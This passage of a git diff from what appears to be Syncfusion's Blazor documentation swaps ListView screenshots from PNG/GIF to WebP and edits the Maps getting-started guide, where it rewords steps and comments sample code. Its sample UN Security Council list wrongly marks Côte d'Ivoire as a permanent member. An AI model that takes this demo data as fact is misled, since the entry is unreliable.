Binary files a/blazor/listview/images/9.png and /dev/null differ
diff --git a/blazor/listview/images/9.webp b/blazor/listview/images/9.webp
new file mode 100644
index 0000000000..484fa00a41
Binary files /dev/null and b/blazor/listview/images/9.webp differ
diff --git a/blazor/listview/images/Blazor-server-app-creation.png b/blazor/listview/images/Blazor-server-app-creation.png
deleted file mode 100644
index 02e4a025bf..0000000000
Binary files a/blazor/listview/images/Blazor-server-app-creation.png and /dev/null differ
diff --git a/blazor/listview/images/Blazor-server-app-creation.webp b/blazor/listview/images/Blazor-server-app-creation.webp
new file mode 100644
index 0000000000..0d820ce3eb
Binary files /dev/null and b/blazor/listview/images/Blazor-server-app-creation.webp differ
diff --git a/blazor/listview/images/blazor-app-interactive-mode.png b/blazor/listview/images/blazor-app-interactive-mode.png
deleted file mode 100644
index 9edcc0e351..0000000000
Binary files a/blazor/listview/images/blazor-app-interactive-mode.png and /dev/null differ
diff --git a/blazor/listview/images/blazor-app-interactive-mode.webp b/blazor/listview/images/blazor-app-interactive-mode.webp
new file mode 100644
index 0000000000..44f2080745
Binary files /dev/null and b/blazor/listview/images/blazor-app-interactive-mode.webp differ
diff --git a/blazor/listview/images/blazor-create-web-app.png b/blazor/listview/images/blazor-create-web-app.png
deleted file mode 100644
index 7dd6e612d2..0000000000
Binary files a/blazor/listview/images/blazor-create-web-app.png and /dev/null differ
diff --git a/blazor/listview/images/blazor-create-web-app.webp b/blazor/listview/images/blazor-create-web-app.webp
new file mode 100644
index 0000000000..199356f771
Binary files /dev/null and b/blazor/listview/images/blazor-create-web-app.webp differ
diff --git a/blazor/listview/images/blazor-listview-crud-operation.gif b/blazor/listview/images/blazor-listview-crud-operation.gif
deleted file mode 100644
index 3573b8752c..0000000000
Binary files a/blazor/listview/images/blazor-listview-crud-operation.gif and /dev/null differ
diff --git a/blazor/listview/images/blazor-listview-crud-operation.webp b/blazor/listview/images/blazor-listview-crud-operation.webp
new file mode 100644
index 0000000000..60abf06195
Binary files /dev/null and b/blazor/listview/images/blazor-listview-crud-operation.webp differ
diff --git a/blazor/listview/images/blazor-listview-nuget-package.png b/blazor/listview/images/blazor-listview-nuget-package.png
deleted file mode 100644
index b49fa8a9a9..0000000000
Binary files a/blazor/listview/images/blazor-listview-nuget-package.png and /dev/null differ
diff --git a/blazor/listview/images/blazor-listview-nuget-package.webp b/blazor/listview/images/blazor-listview-nuget-package.webp
new file mode 100644
index 0000000000..382df21340
Binary files /dev/null and b/blazor/listview/images/blazor-listview-nuget-package.webp differ
diff --git a/blazor/listview/images/blazor-listview-with-html.png b/blazor/listview/images/blazor-listview-with-html.png
deleted file mode 100644
index 0c5ead4eb9..0000000000
Binary files a/blazor/listview/images/blazor-listview-with-html.png and /dev/null differ
diff --git a/blazor/listview/images/blazor-listview-with-html.webp b/blazor/listview/images/blazor-listview-with-html.webp
new file mode 100644
index 0000000000..71ba081d6c
Binary files /dev/null and b/blazor/listview/images/blazor-listview-with-html.webp differ
diff --git a/blazor/listview/images/blazor-listview.PNG b/blazor/listview/images/blazor-listview.PNG
deleted file mode 100644
index 6f221d48bb..0000000000
Binary files a/blazor/listview/images/blazor-listview.PNG and /dev/null differ
diff --git a/blazor/listview/images/blazor-listview.webp b/blazor/listview/images/blazor-listview.webp
new file mode 100644
index 0000000000..b7dec6a86d
Binary files /dev/null and b/blazor/listview/images/blazor-listview.webp differ
diff --git a/blazor/listview/images/blazor-nuget-explorer.png b/blazor/listview/images/blazor-nuget-explorer.png
deleted file mode 100644
index 72f9986edd..0000000000
Binary files a/blazor/listview/images/blazor-nuget-explorer.png and /dev/null differ
diff --git a/blazor/listview/images/blazor-nuget-explorer.webp b/blazor/listview/images/blazor-nuget-explorer.webp
new file mode 100644
index 0000000000..dedfe67a6a
Binary files /dev/null and b/blazor/listview/images/blazor-nuget-explorer.webp differ
diff --git a/blazor/listview/images/blazor-nuget-selection.png b/blazor/listview/images/blazor-nuget-selection.png
deleted file mode 100644
index e8f7d31194..0000000000
Binary files a/blazor/listview/images/blazor-nuget-selection.png and /dev/null differ
diff --git a/blazor/listview/images/blazor-nuget-selection.webp b/blazor/listview/images/blazor-nuget-selection.webp
new file mode 100644
index 0000000000..365b657b48
Binary files /dev/null and b/blazor/listview/images/blazor-nuget-selection.webp differ
diff --git a/blazor/listview/images/blazor-wasm-app-template.png b/blazor/listview/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/listview/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/listview/images/blazor-wasm-app-template.webp b/blazor/listview/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/listview/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/listview/images/frame-work.png b/blazor/listview/images/frame-work.png
deleted file mode 100644
index 50082a3d37..0000000000
Binary files a/blazor/listview/images/frame-work.png and /dev/null differ
diff --git a/blazor/listview/images/frame-work.webp b/blazor/listview/images/frame-work.webp
new file mode 100644
index 0000000000..11187f3630
Binary files /dev/null and b/blazor/listview/images/frame-work.webp differ
diff --git a/blazor/listview/images/import-cdn.png b/blazor/listview/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/listview/images/import-cdn.png and /dev/null differ
diff --git a/blazor/listview/images/import-cdn.webp b/blazor/listview/images/import-cdn.webp
new file mode 100644
index 0000000000..7db6a111c2
Binary files /dev/null and b/blazor/listview/images/import-cdn.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-add-and-remove-list-items.png b/blazor/listview/images/list/blazor-listview-add-and-remove-list-items.png
deleted file mode 100644
index 5b8c7e6b68..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-add-and-remove-list-items.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-add-and-remove-list-items.webp b/blazor/listview/images/list/blazor-listview-add-and-remove-list-items.webp
new file mode 100644
index 0000000000..1905261828
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-add-and-remove-list-items.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-binding-data.PNG b/blazor/listview/images/list/blazor-listview-binding-data.PNG
deleted file mode 100644
index b55c551555..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-binding-data.PNG and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-binding-data.webp b/blazor/listview/images/list/blazor-listview-binding-data.webp
new file mode 100644
index 0000000000..00448bd615
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-binding-data.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-checklist-position.png b/blazor/listview/images/list/blazor-listview-checklist-position.png
deleted file mode 100644
index 3b6b78f551..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-checklist-position.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-checklist-position.webp b/blazor/listview/images/list/blazor-listview-checklist-position.webp
new file mode 100644
index 0000000000..e707ebea5a
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-checklist-position.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-data-binding.png b/blazor/listview/images/list/blazor-listview-data-binding.png
deleted file mode 100644
index 2fd685ad4a..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-data-binding.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-data-binding.webp b/blazor/listview/images/list/blazor-listview-data-binding.webp
new file mode 100644
index 0000000000..7b823ddf36
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-data-binding.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-display-seleted-item.png b/blazor/listview/images/list/blazor-listview-display-seleted-item.png
deleted file mode 100644
index ddb084f207..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-display-seleted-item.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-display-seleted-item.webp b/blazor/listview/images/list/blazor-listview-display-seleted-item.webp
new file mode 100644
index 0000000000..f322517c97
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-display-seleted-item.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-filter-and-search-items.png b/blazor/listview/images/list/blazor-listview-filter-and-search-items.png
deleted file mode 100644
index f2dd5c2579..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-filter-and-search-items.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-filter-and-search-items.webp b/blazor/listview/images/list/blazor-listview-filter-and-search-items.webp
new file mode 100644
index 0000000000..359f78978c
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-filter-and-search-items.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-group-template.png b/blazor/listview/images/list/blazor-listview-group-template.png
deleted file mode 100644
index 3729092e30..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-group-template.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-group-template.webp b/blazor/listview/images/list/blazor-listview-group-template.webp
new file mode 100644
index 0000000000..cbcac3fa55
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-group-template.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-grouping.png b/blazor/listview/images/list/blazor-listview-grouping.png
deleted file mode 100644
index b73bb29987..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-grouping.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-grouping.webp b/blazor/listview/images/list/blazor-listview-grouping.webp
new file mode 100644
index 0000000000..a661051fc1
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-grouping.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-header-template.png b/blazor/listview/images/list/blazor-listview-header-template.png
deleted file mode 100644
index 9c7277d769..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-header-template.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-header-template.webp b/blazor/listview/images/list/blazor-listview-header-template.webp
new file mode 100644
index 0000000000..a89fab352a
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-header-template.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-item-template.png b/blazor/listview/images/list/blazor-listview-item-template.png
deleted file mode 100644
index ecfd5d3487..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-item-template.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-item-template.webp b/blazor/listview/images/list/blazor-listview-item-template.webp
new file mode 100644
index 0000000000..3d55420d3d
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-item-template.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-mobile-contact-layout.png b/blazor/listview/images/list/blazor-listview-mobile-contact-layout.png
deleted file mode 100644
index 9ea66fa066..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-mobile-contact-layout.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-mobile-contact-layout.webp b/blazor/listview/images/list/blazor-listview-mobile-contact-layout.webp
new file mode 100644
index 0000000000..b9a14fea34
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-mobile-contact-layout.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-trace-events.png b/blazor/listview/images/list/blazor-listview-trace-events.png
deleted file mode 100644
index db97c8e0ac..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-trace-events.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-trace-events.webp b/blazor/listview/images/list/blazor-listview-trace-events.webp
new file mode 100644
index 0000000000..d8b55d4099
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-trace-events.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-virtualization.png b/blazor/listview/images/list/blazor-listview-virtualization.png
deleted file mode 100644
index 1e7ee40ca8..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-virtualization.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-virtualization.webp b/blazor/listview/images/list/blazor-listview-virtualization.webp
new file mode 100644
index 0000000000..20e7f1bef5
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-virtualization.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-with-chat-window.png b/blazor/listview/images/list/blazor-listview-with-chat-window.png
deleted file mode 100644
index f32339f132..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-with-chat-window.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-with-chat-window.webp b/blazor/listview/images/list/blazor-listview-with-chat-window.webp
new file mode 100644
index 0000000000..03b25ee51a
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-with-chat-window.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-with-checklist.png b/blazor/listview/images/list/blazor-listview-with-checklist.png
deleted file mode 100644
index 2b233a9d3d..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-with-checklist.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-with-checklist.webp b/blazor/listview/images/list/blazor-listview-with-checklist.webp
new file mode 100644
index 0000000000..fe18181b04
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-with-checklist.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-with-dual-list.png b/blazor/listview/images/list/blazor-listview-with-dual-list.png
deleted file mode 100644
index 989ab8958f..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-with-dual-list.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-with-dual-list.webp b/blazor/listview/images/list/blazor-listview-with-dual-list.webp
new file mode 100644
index 0000000000..8e98338fab
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-with-dual-list.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-with-dynamic-layout.png b/blazor/listview/images/list/blazor-listview-with-dynamic-layout.png
deleted file mode 100644
index 9c62e0d590..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-with-dynamic-layout.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-with-dynamic-layout.webp b/blazor/listview/images/list/blazor-listview-with-dynamic-layout.webp
new file mode 100644
index 0000000000..3a125abdd4
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-with-dynamic-layout.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-with-grid-layout.png b/blazor/listview/images/list/blazor-listview-with-grid-layout.png
deleted file mode 100644
index 0fb3264fde..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-with-grid-layout.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-with-grid-layout.webp b/blazor/listview/images/list/blazor-listview-with-grid-layout.webp
new file mode 100644
index 0000000000..6da0da2923
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-with-grid-layout.webp differ
diff --git a/blazor/listview/images/list/blazor-listview-with-hyperlink.png b/blazor/listview/images/list/blazor-listview-with-hyperlink.png
deleted file mode 100644
index 239705e015..0000000000
Binary files a/blazor/listview/images/list/blazor-listview-with-hyperlink.png and /dev/null differ
diff --git a/blazor/listview/images/list/blazor-listview-with-hyperlink.webp b/blazor/listview/images/list/blazor-listview-with-hyperlink.webp
new file mode 100644
index 0000000000..fd47b4689f
Binary files /dev/null and b/blazor/listview/images/list/blazor-listview-with-hyperlink.webp differ
diff --git a/blazor/listview/images/list/data-binding-simple-array.png b/blazor/listview/images/list/data-binding-simple-array.png
deleted file mode 100644
index bf0206ab74..0000000000
Binary files a/blazor/listview/images/list/data-binding-simple-array.png and /dev/null differ
diff --git a/blazor/listview/images/list/data-binding-simple-array.webp b/blazor/listview/images/list/data-binding-simple-array.webp
new file mode 100644
index 0000000000..f11b8c51a2
Binary files /dev/null and b/blazor/listview/images/list/data-binding-simple-array.webp differ
diff --git a/blazor/listview/images/list/get-selected-items-from-listview.png b/blazor/listview/images/list/get-selected-items-from-listview.png
deleted file mode 100644
index 78af23c183..0000000000
Binary files a/blazor/listview/images/list/get-selected-items-from-listview.png and /dev/null differ
diff --git a/blazor/listview/images/list/get-selected-items-from-listview.webp b/blazor/listview/images/list/get-selected-items-from-listview.webp
new file mode 100644
index 0000000000..c4feba6254
Binary files /dev/null and b/blazor/listview/images/list/get-selected-items-from-listview.webp differ
diff --git a/blazor/listview/images/list/list-virtual-conditional.png b/blazor/listview/images/list/list-virtual-conditional.png
deleted file mode 100644
index eadfef05e9..0000000000
Binary files a/blazor/listview/images/list/list-virtual-conditional.png and /dev/null differ
diff --git a/blazor/listview/images/list/list-virtual-conditional.webp b/blazor/listview/images/list/list-virtual-conditional.webp
new file mode 100644
index 0000000000..9816ff8411
Binary files /dev/null and b/blazor/listview/images/list/list-virtual-conditional.webp differ
diff --git a/blazor/listview/images/list/list-virtual-template.png b/blazor/listview/images/list/list-virtual-template.png
deleted file mode 100644
index a71a3b4d72..0000000000
Binary files a/blazor/listview/images/list/list-virtual-template.png and /dev/null differ
diff --git a/blazor/listview/images/list/list-virtual-template.webp b/blazor/listview/images/list/list-virtual-template.webp
new file mode 100644
index 0000000000..7af88b87af
Binary files /dev/null and b/blazor/listview/images/list/list-virtual-template.webp differ
diff --git a/blazor/listview/images/list/nested-list.gif b/blazor/listview/images/list/nested-list.gif
deleted file mode 100644
index 499a0650bc..0000000000
Binary files a/blazor/listview/images/list/nested-list.gif and /dev/null differ
diff --git a/blazor/listview/images/list/nested-list.webp b/blazor/listview/images/list/nested-list.webp
new file mode 100644
index 0000000000..6a4db60161
Binary files /dev/null and b/blazor/listview/images/list/nested-list.webp differ
diff --git a/blazor/listview/images/new-project.png b/blazor/listview/images/new-project.png
deleted file mode 100644
index 057f6b0f7c..0000000000
Binary files a/blazor/listview/images/new-project.png and /dev/null differ
diff --git a/blazor/listview/images/new-project.webp b/blazor/listview/images/new-project.webp
new file mode 100644
index 0000000000..6ac8098d50
Binary files /dev/null and b/blazor/listview/images/new-project.webp differ
diff --git a/blazor/listview/images/nuget-explorer.png b/blazor/listview/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/listview/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/listview/images/nuget-explorer.webp b/blazor/listview/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/listview/images/nuget-explorer.webp differ
diff --git a/blazor/listview/images/select-nuget.png b/blazor/listview/images/select-nuget.png
deleted file mode 100644
index 4b67d0ce11..0000000000
Binary files a/blazor/listview/images/select-nuget.png and /dev/null differ
diff --git a/blazor/listview/images/select-nuget.webp b/blazor/listview/images/select-nuget.webp
new file mode 100644
index 0000000000..d3bdf0e663
Binary files /dev/null and b/blazor/listview/images/select-nuget.webp differ
diff --git a/blazor/listview/images/select-nuget1.png b/blazor/listview/images/select-nuget1.png
deleted file mode 100644
index e8f7d31194..0000000000
Binary files a/blazor/listview/images/select-nuget1.png and /dev/null differ
diff --git a/blazor/listview/images/select-nuget1.webp b/blazor/listview/images/select-nuget1.webp
new file mode 100644
index 0000000000..365b657b48
Binary files /dev/null and b/blazor/listview/images/select-nuget1.webp differ
diff --git a/blazor/listview/nested-list.md b/blazor/listview/nested-list.md
index 09b47ee580..f0409dbcfd 100644
--- a/blazor/listview/nested-list.md
+++ b/blazor/listview/nested-list.md
@@ -195,4 +195,4 @@ The ListView component supports Nested list. For that, the [`Child`](https://hel
 
 ```
 
-![Blazor ListView with Nested List](./images/list/nested-list.gif)
\ No newline at end of file
+![Blazor ListView with Nested List](./images/list/nested-list.webp)
\ No newline at end of file
diff --git a/blazor/maps/getting-started-webapp.md b/blazor/maps/getting-started-webapp.md
index 97274d7cfb..f1752616dc 100644
--- a/blazor/maps/getting-started-webapp.md
+++ b/blazor/maps/getting-started-webapp.md
@@ -1,15 +1,15 @@
 ---
 layout: post
 title: Getting started with Syncfusion Maps Component in Blazor Web App
-description: Check out the documentation for getting started with Syncfusion Blazor Maps Component Components in Blazor Web App.
+description: Check out the documentation for getting started with Syncfusion Blazor Maps Component in Blazor Web App.
 platform: Blazor
-control: Maps
+component: Maps
 documentation: ug
 ---
 
 # Getting started with Blazor Maps Component in Blazor Web App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps](https://www.syncfusion.com/blazor-components/blazor-map) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps](https://www.syncfusion.com/blazor-components/blazor-map) component in your Blazor Web App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -42,11 +42,17 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorWebApp -int Auto
 cd BlazorWebApp
-cd BlazorWebApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
+N> If the application is configured with WebAssembly or Auto render modes, you may optionally navigate to the client project directory to manage client-specific dependencies. Once the required changes are completed, ensure that you navigate back to the root project directory.
+
+```
+cd BlazorWebApp.Client
+cd ..
+```
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -74,11 +80,17 @@ For example, in a Blazor Web App with the `Auto` interactive render mode, use th
 
 dotnet new blazor -o BlazorWebApp -int Auto
 cd BlazorWebApp
-cd BlazorWebApp.Client
 
 {% endhighlight %}
 {% endtabs %}
 
+N> If the application is configured with WebAssembly or Auto render modes, you may optionally navigate to the client project directory to manage client-specific dependencies. Once the required changes are completed, ensure that you navigate back to the root project directory.
+
+```
+cd BlazorWebApp.Client
+cd ..
+```
+
 {% endtabcontent %}
 
 {% endtabcontents %}
@@ -87,7 +99,7 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Maps](https://www.nuget.org/packages/Syncfusion.Blazor.Maps) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Maps --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following command in the Package Manager Console to achieve the same.
 
@@ -107,6 +119,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Maps` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
 
@@ -118,7 +132,7 @@ After the packages are installed, open the **~/_Imports.razor** file in the clie
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion Blazor service in the **Program.cs** file of your Blazor Web App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Web App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight c# tabtitle="Program.cs" %}
@@ -136,7 +150,7 @@ N> If the **Interactive Render Mode** is set to `WebAssembly` or `Auto`, registe
 
 ## Add script resources
 
-The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the script reference in the **~/Components/App.razor** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/Components/App.razor** file (this is the root layout file of your application).
 
 ```html
 
@@ -146,43 +160,31 @@ The script can be accessed from NuGet through [Static Web Assets](https://blazor
 
 N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component with GeoJSON data
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~/Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
 
-N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
+N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* desired render mode defined here *@
 @rendermode InteractiveAuto
 
 {% endhighlight %}
 {% endtabs %}
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfMaps>
-</SfMaps>
-
-{% endhighlight %}
-{% endtabs %}
-
-The Maps will not show any content on the web page while running the application because the properties related to the layer are not initialized in the above code.
-
-## Adding GeoJSON data in Blazor Maps layer
-
-Bind GeoJSON data to the Maps to render any geometric shape in SVG (Scalable Vector Graphics) for powerful data visualization of shapes. For example, you can render the World map and make desired customizations on it. You can also add any number of layers in the Maps.
-
-You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeData) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html) to load the GeoJSON shape data into the Maps component.
+Bind GeoJSON data to the Maps to render any geometric shape in SVG (Scalable Vector Graphics) for powerful data visualization of shapes. You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html#Syncfusion_Blazor_Maps_MapsLayer_1_ShapeData) property in [MapsLayer](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.MapsLayer-1.html) to load the GeoJSON shape data into the Maps component.
 
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfMaps is the root container component for the maps -->
 <SfMaps>
+    <!-- MapsLayers contains one or more map layers to display on the map -->
     <MapsLayers>
+        <!-- MapsLayer defines a map layer with shape data and configuration -->
         <MapsLayer ShapeData='new {dataOptions= "https://cdn.syncfusion.com/maps/map-data/world-map.json"}' TValue="string">
         </MapsLayer>
     </MapsLayers>
@@ -191,7 +193,7 @@ You can use the [ShapeData](https://help.syncfusion.com/cr/blazor/Syncfusion.Bla
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the default web browser.
+Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Maps component in the default web browser.
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BZVRNhjJJCBhIpFe?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Maps with GeoJSON Layer](./images/blazor-map.png)" %}
 
@@ -208,21 +210,21 @@ The [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Maps.Ma
 
 @code {
     public List<UNCouncilCountry> SecurityCouncilDetails = new List<UNCouncilCountry>{
-         new UNCouncilCountry { Name= "China", Membership= "Permanent"},
+         new UNCouncilCountry { Name= "China", Membership= "Permanent" },
          new UNCouncilCountry { Name= "France", Membership= "Permanent" },
-         new UNCouncilCountry { Name= "Russia", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "United States", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Ivory Coast", Membership= "Permanent"},
-         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Netherlands", Membership= "Non-Permanent"},
-         new UNCouncilCountry { Name= "Peru", Membership= "Non-Permanent"}
+         new UNCouncilCountry { Name= "Russia", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kazakhstan", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Poland", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Sweden", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "United Kingdom", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "United States", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Bolivia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Eq. Guinea", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Ethiopia", Membership= "Non-Permanent" },
+         new UNCouncilCountry { Name= "Côte d Ivoire", Membership= "Permanent" },
+         new UNCouncilCountry { Name= "Kuwait", Membership= "Non-Permanent" },
